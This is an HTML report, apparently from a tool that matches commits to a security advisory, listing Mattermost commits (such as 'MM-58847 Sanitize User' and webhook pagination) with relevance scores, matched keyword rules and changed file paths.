    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: fail
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27368
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58756: paginate webhooks list (#27368) * MM-58756: paginate webhooks list * show error if webhook list fails
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/cmd/mmctl/commands/webhook.go + + server/cmd/mmctl/commands/webhook_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58847 Sanitize User (#27471) (#27686) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: v9.5.8 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 43355fe32a953e8b7aa82a9c4cd024311665c098 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some security-related keywords: sanitize
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27471, 27686
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58847 Sanitize User (#27471) (#27686) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/v4/source/users.yaml + + server/channels/api4/user_test.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58847 Sanitize User (#27471) (#27685) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: v9.8.3 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + cd60532e9a41cbc2150e7747308f9bb08aa61f15 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some security-related keywords: sanitize
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27471, 27685
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58847 Sanitize User (#27471) (#27685) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/v4/source/users.yaml + + server/channels/api4/user_test.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58847 Sanitize User (#27471) (#27684) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: v9.9.2 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7bbf7ec130487af9a324040259b2e942d7b9ba3c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some security-related keywords: sanitize
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27471, 27684
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58847 Sanitize User (#27471) (#27684) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/v4/source/users.yaml + + server/channels/api4/user_test.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58847 Sanitize User (#27471) (#27683) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: v9.10.1 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a9982ea873ce9209be73f29ad579709e3ecc89ec +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some security-related keywords: sanitize
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27471, 27683
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58847 Sanitize User (#27471) (#27683) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/v4/source/users.yaml + + server/channels/api4/user_test.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58847 Sanitize User (#27471) (#27682) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0b9461fc4b95169acfe0b643a57ac5497389f880 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some security-related keywords: sanitize
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27471, 27682
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58847 Sanitize User (#27471) (#27682) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/v4/source/users.yaml + + server/channels/api4/user_test.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + feat(e2e): Manage User Settings e2e tests (#27618) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e917709be58573b3f55d7aa99bbead8a3c667081 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: console, test, system
      +
    • + +
    • +
      The commit message references some github issue: 27618
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      feat(e2e): Manage User Settings e2e tests (#27618)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + e2e-tests/cypress/tests/integration/channels/enterprise/system_console/user_management/user_management_admin_control_spec.js + + e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fix E2E test triggering (#27669) Co-authored-by: Mattermost Build... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e05ec0efc330c3e763157a65eaff11cbf300bf97 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27669
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Fix E2E test triggering (#27669) Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/e2e-fulltests-ci.yml + + .github/workflows/e2e-tests-ci.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Unify advanced create post and advanced create comment (#26419) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a272fb29a5b00e80b05f4de8209e50ef467f4d85 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file, test
      +
    • + +
    • +
      The commit message references some github issue: 26419
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Unify advanced create post and advanced create comment (#26419) * Unify advanced create post and advanced create comment * Re-add focus on mount prop and fix minor selector issue with get draft * Address feedback * Some merge fixes and some comments addressed * Remove tests * Fix tests * Address feedback * Fix formatting bar spacer and minor refactoring * Fix remove upload from clean draft issue * Fix types --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/actions/views/create_comment.test.jsx + + webapp/channels/src/actions/views/create_comment.tsx + + webapp/channels/src/actions/views/drafts.ts + + webapp/channels/src/components/advanced_create_comment/__snapshots__/advanced_create_comment.test.tsx.snap + + webapp/channels/src/components/advanced_create_comment/advanced_create_comment.test.tsx + + webapp/channels/src/components/advanced_create_comment/advanced_create_comment.tsx + + webapp/channels/src/components/advanced_create_comment/index.ts + + webapp/channels/src/components/advanced_create_post/__snapshots__/advanced_create_post.test.tsx.snap + + webapp/channels/src/components/advanced_create_post/advanced_create_post.test.tsx + + webapp/channels/src/components/advanced_create_post/advanced_create_post.tsx + + webapp/channels/src/components/advanced_create_post/index.ts + + webapp/channels/src/components/advanced_create_post/prewritten_chips.tsx + + webapp/channels/src/components/advanced_text_editor/advanced_text_editor.test.tsx + + webapp/channels/src/components/advanced_text_editor/advanced_text_editor.tsx + + webapp/channels/src/components/advanced_text_editor/priority_labels.tsx + + webapp/channels/src/components/advanced_text_editor/remote_user_hour.tsx + + webapp/channels/src/components/advanced_text_editor/use_emoji_picker.tsx + + webapp/channels/src/components/advanced_text_editor/use_groups.tsx + + webapp/channels/src/components/advanced_text_editor/use_key_handler.tsx + + webapp/channels/src/components/advanced_text_editor/use_orientation_handler.tsx + + webapp/channels/src/components/advanced_text_editor/use_plugin_items.tsx + + webapp/channels/src/components/advanced_text_editor/use_priority.tsx + + webapp/channels/src/components/advanced_text_editor/use_submit.tsx + + webapp/channels/src/components/advanced_text_editor/use_textbox_focus.tsx + + webapp/channels/src/components/advanced_text_editor/use_upload_files.tsx + + webapp/channels/src/components/analytics/team_analytics/index.ts + + webapp/channels/src/components/channel_view/__snapshots__/channel_view.test.tsx.snap + + webapp/channels/src/components/channel_view/channel_view.tsx + + webapp/channels/src/components/common/chip/chip.tsx + + webapp/channels/src/components/drafts/panel/panel_body.tsx + + webapp/channels/src/components/threading/virtualized_thread_viewer/create_comment.tsx + + webapp/channels/src/components/threading/virtualized_thread_viewer/virtualized_thread_viewer.tsx + + webapp/channels/src/components/tours/onboarding_tour/send_message_tour_tip.tsx + + webapp/channels/src/i18n/en.json + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/posts.test.ts + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/posts.ts + + webapp/channels/src/selectors/rhs.ts + + webapp/channels/src/selectors/storage.ts + + webapp/channels/src/utils/post_utils.ts + + webapp/channels/src/utils/utils.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Sysadmin manage user settings (#27583) * Opened modal from system... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 87d983cc7ffd87c26a9a219047684847c9663c29 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: console, test, file, system
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: time, limit, console, test, system
      +
    • + +
    • +
      The commit message references some github issue: 27583
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Sysadmin manage user settings (#27583) * Opened modal from system console * WIP * WIP * WIP * Handled saving user * Successfully updated user based settings * WIP * WIP * All settings are updating well * Fixed modal style * Added admin mode indicators in modal * Added confirmation dialog * Lint fixes * Added license check * Added permission check * Fixed i18n file order * type fix * Updated snapshots * Handled performance debugging setting * Some styling tweaks * Fixed text alighnment * Updated license required from professional to enterprise * Handled long user names * review fixes * Added manage setting option in user list page context menu * Added loader * Minor reordering * Removed confirm modal * Updated snapshots for removed modal * Added some tests * Lint fix * Used new selector in user detail page * Used new selector in user list page * Updated tests * Fixed an incorrect default test
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/report.go + + server/channels/app/user.go + + server/channels/app/users/utils.go + + server/channels/store/sqlstore/post_store.go + + server/public/model/report.go + + server/public/model/user.go + + server/public/model/user_test.go + + webapp/channels/src/components/admin_console/admin_user_card/admin_user_card.scss + + webapp/channels/src/components/admin_console/system_user_detail/__snapshots__/system_user_detail.test.tsx.snap + + webapp/channels/src/components/admin_console/system_user_detail/index.ts + + webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.scss + + webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.test.tsx + + webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.tsx + + webapp/channels/src/components/admin_console/system_users/system_users_list_actions/confirmManageUserSettingsModal.tsx + + webapp/channels/src/components/admin_console/system_users/system_users_list_actions/index.tsx + + webapp/channels/src/components/confirm_modal_redux/confirm_modal_redux.tsx + + webapp/channels/src/components/user_settings/advanced/index.ts + + webapp/channels/src/components/user_settings/advanced/join_leave_section/index.ts + + webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.test.tsx + + webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.tsx + + webapp/channels/src/components/user_settings/advanced/performance_debugging_section/index.ts + + webapp/channels/src/components/user_settings/advanced/performance_debugging_section/performance_debugging_section.tsx + + webapp/channels/src/components/user_settings/advanced/user_settings_advanced.tsx + + webapp/channels/src/components/user_settings/display/__snapshots__/user_settings_display.test.tsx.snap + + webapp/channels/src/components/user_settings/display/index.ts + + webapp/channels/src/components/user_settings/display/manage_languages/index.ts + + webapp/channels/src/components/user_settings/display/manage_languages/manage_languages.test.tsx + + webapp/channels/src/components/user_settings/display/manage_languages/manage_languages.tsx + + webapp/channels/src/components/user_settings/display/manage_timezones/index.ts + + webapp/channels/src/components/user_settings/display/manage_timezones/manage_timezones.test.tsx + + webapp/channels/src/components/user_settings/display/manage_timezones/manage_timezones.tsx + + webapp/channels/src/components/user_settings/display/user_settings_display.test.tsx + + webapp/channels/src/components/user_settings/display/user_settings_display.tsx + + webapp/channels/src/components/user_settings/headers/setting_desktop_header.scss + + webapp/channels/src/components/user_settings/index.tsx + + webapp/channels/src/components/user_settings/modal/index.ts + + webapp/channels/src/components/user_settings/modal/user_settings_modal.tsx + + webapp/channels/src/components/user_settings/notifications/index.ts + + webapp/channels/src/components/user_settings/notifications/user_settings_notifications.test.tsx + + webapp/channels/src/components/user_settings/notifications/user_settings_notifications.tsx + + webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/index.ts + + webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/limit_visible_gms_dms.tsx + + webapp/channels/src/components/user_settings/sidebar/show_unreads_category/index.ts + + webapp/channels/src/components/user_settings/sidebar/show_unreads_category/show_unreads_category.tsx + + webapp/channels/src/components/user_settings/sidebar/user_settings_sidebar.tsx + + webapp/channels/src/components/widgets/smartLoader/index.tsx + + webapp/channels/src/i18n/en.json + + webapp/channels/src/packages/mattermost-redux/src/action_types/preferences.ts + + webapp/channels/src/packages/mattermost-redux/src/actions/preferences.ts + + webapp/channels/src/packages/mattermost-redux/src/reducers/entities/preferences.ts + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/preferences.ts + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/timezone.ts + + webapp/channels/src/packages/mattermost-redux/src/store/initial_state.ts + + webapp/channels/src/sass/components/_modal.scss + + webapp/channels/src/sass/routes/_settings.scss + + webapp/channels/src/selectors/admin_console.jsx + + webapp/channels/src/utils/constants.tsx + + webapp/platform/client/src/client4.ts + + webapp/platform/types/src/store.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58778] Fixing white screen for GM conversion (#27385) * fixing... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d249d4d1b0aa98de3cb29a6b572465d415b356d3 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version
      +
    • + +
    • +
      The commit message references some github issue: 27385
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58778] Fixing white screen for GM conversion (#27385) * fixing white screen for GM conversion --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/post_view/gm_conversion_message/gm_conversion_message.tsx + + webapp/channels/src/i18n/en.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-59378 Skip flaky PerformanceReporter test (#27626) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7d80b5d04b96a7676434d158a0b455a19e52d867 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27626
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-59378 Skip flaky PerformanceReporter test (#27626)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/utils/performance_telemetry/reporter.test.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Fix several re-renders on init (#26361) * Fix several re-renders on... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e8b48928772afee4b926ed0db4ca95183491cea8 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 26361
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Fix several re-renders on init (#26361) * Fix several re-renders on init * Fix tests * Address feedback --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/common/hooks/useGetSelfHostedProducts.ts + + webapp/channels/src/components/compass_theme_provider/compass_theme_provider.tsx + + webapp/channels/src/components/onboarding_tasklist/onboarding_tasklist.tsx + + webapp/channels/src/components/sidebar/sidebar_category/sidebar_category_menu/index.tsx + + webapp/channels/src/components/sidebar/sidebar_channel/sidebar_channel_menu/index.ts + + webapp/channels/src/components/sidebar/sidebar_channel/sidebar_channel_menu/sidebar_channel_menu.tsx + + webapp/channels/src/components/sidebar/sidebar_list/sidebar_list.tsx + + webapp/channels/src/components/threading/global_threads_link/global_threads_link.tsx + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.test.ts + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.ts + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channels.ts + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/groups.ts + + webapp/channels/src/selectors/rhs.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Support release testing (#27587) * Support release testing * Merge... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 731f056f54e39314ec52d0a73c69f09c01b55bfd +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27587
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Support release testing (#27587) * Support release testing * Merge resolve-ref and generate-test-variables jobs
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/e2e-fulltests-ci.yml + + .github/workflows/e2e-tests-ci-template.yml + + e2e-tests/.ci/server.generate.sh + + e2e-tests/.ci/server.start.sh + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-56921] Rendered Latex in Codeblock when rendering disabled... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7c2a461de86529c3ebb3587ace229f6fe776996c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27060
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-56921] Rendered Latex in Codeblock when rendering disabled (#27060) * Rendered Latex in Codeblock when rendering disabled * Fixed Lint error * Removed render function in Latex Component * Fix errors preventing LatexBlock unit tests from running * Updated latex disabled test for Codeblock testing * Fixed latex_block test lint errors * Removed Latex disabled test Snapshot --------- Co-authored-by: Harrison Healey <harrisonmhealey@gmail.com> Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/code_block/code_block.tsx + + webapp/channels/src/components/latex_block/__snapshots__/latex_block.test.tsx.snap + + webapp/channels/src/components/latex_block/latex_block.test.tsx + + webapp/channels/src/components/latex_block/latex_block.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58535 Add more information to LCP and INP metrics (#27484) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e3b2b1329218d3af7ba46605621b48d76fa3f089 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: time, size, fail, cause, test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: role, configuration, console, file, test
      +
    • + +
    • +
      The commit message references some github issue: 27484
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58535 Add more information to LCP and INP metrics (#27484) * Improve mocking of imported resources in unit tests We have Webpack configured so that, when code imports an image or other resource, the code gets the URL of that image. Jest now matches that behaviour which is needed because React Testing Library would previously throw an error. * Polyfill ResizeObserver in all unit tests * Ensure haveIChannelPermission always returns a boolean value The previous code could sometimes return undefined. While that should behave the same in practice, it can cause React to print prop type warnings * MM-58535 Add region label to LCP metrics * MM-58535 Upgrade web-vitals and add INP attribution * Change new labels to use snake_case * Remove replaceGlobalStore option from renderWithContext I was going to add this in case any tests failed with this option set to false, but after running those tests, that's not the case. I'm going to remove this as an option since it seems more likely than not that anyone using RTL would prefer to have this on.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/metrics.go + + server/einterfaces/metrics.go + + server/einterfaces/mocks/MetricsInterface.go + + server/enterprise/metrics/metrics.go + + server/public/model/metrics.go + + webapp/channels/jest.config.js + + webapp/channels/package.json + + webapp/channels/src/components/__snapshots__/file_upload_overlay.test.tsx.snap + + webapp/channels/src/components/add_groups_to_channel_modal/__snapshots__/add_groups_to_channel_modal.test.tsx.snap + + webapp/channels/src/components/add_groups_to_team_modal/__snapshots__/add_groups_to_team_modal.test.tsx.snap + + webapp/channels/src/components/admin_console/openid_convert/__snapshots__/openid_convert.test.tsx.snap + + webapp/channels/src/components/advanced_text_editor/advanced_text_editor.test.tsx + + webapp/channels/src/components/advanced_text_editor/formatting_bar/formatting_bar.test.tsx + + webapp/channels/src/components/announcement_bar/configuration_bar/__snapshots__/configuration_bar.test.tsx.snap + + webapp/channels/src/components/file_info_preview/__snapshots__/file_info_preview.test.tsx.snap + + webapp/channels/src/components/integrations/bots/add_bot/__snapshots__/add_bot.test.tsx.snap + + webapp/channels/src/components/markdown_image/__snapshots__/markdown_image.test.tsx.snap + + webapp/channels/src/components/onboarding_tasklist/__snapshots__/onboarding_tasklist_completed.test.tsx.snap + + webapp/channels/src/components/select_team/__snapshots__/select_team.test.tsx.snap + + webapp/channels/src/components/threading/virtualized_thread_viewer/virtualized_thread_viewer.test.tsx + + webapp/channels/src/components/user_settings/display/user_settings_theme/custom_theme_chooser/__snapshots__/custom_theme_chooser.test.tsx.snap + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/roles.ts + + webapp/channels/src/tests/image_url_mock.json + + webapp/channels/src/tests/react_testing_utils.tsx + + webapp/channels/src/tests/setup_jest.ts + + webapp/channels/src/utils/notifications.test.ts + + webapp/channels/src/utils/performance_telemetry/element_identification.test.tsx + + webapp/channels/src/utils/performance_telemetry/element_identification.ts + + webapp/channels/src/utils/performance_telemetry/reporter.test.ts + + webapp/channels/src/utils/performance_telemetry/reporter.ts + + webapp/package-lock.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + CLD-5704 Migrate daily master/cloud tests (#27393) (#27606) * [skip... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: v9.10.1 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2297732c9c8918044ffc2f35c8674fb4471e8275 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file, test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27393, 27606
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      CLD-5704 Migrate daily master/cloud tests (#27393) (#27606) * [skip ci] Support Cloud/daily tests and Zephyr integration * [skip ci] Fix workflow file * [skip ci] Fix typo in workflow input name * Fix cloud variable passing * [skip ci] Fix typo * Utilize master branch image for daily tests * Apply Saturn's suggestion, fixes and improvements (cherry picked from commit 4f68dbb96ed71f1f44942300ae029a0b4ea3ea3c) Co-authored-by: Mario Vitale <mvitale1989@hotmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/e2e-fulltests-ci.yml + + .github/workflows/e2e-tests-ci-template.yml + + e2e-tests/.ci/.e2erc + + e2e-tests/.ci/report.publish.sh + + e2e-tests/.ci/server.cloud_init.sh + + e2e-tests/.ci/server.cloud_teardown.sh + + e2e-tests/cypress/save_report.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Don't modify global variables in TestNoticeValidation (#27591) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6fc5ff572f263fff315296032591e0b090f54d09 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27591
      +
    • + +
